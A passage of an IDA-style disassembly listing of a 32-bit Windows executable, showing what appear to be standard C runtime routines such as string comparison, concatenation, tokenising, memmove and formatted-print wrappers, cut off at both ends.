dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 267015Dh nop test eax, eax jnz short loc_41BDF2 call near ptr 2670763h nop jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; 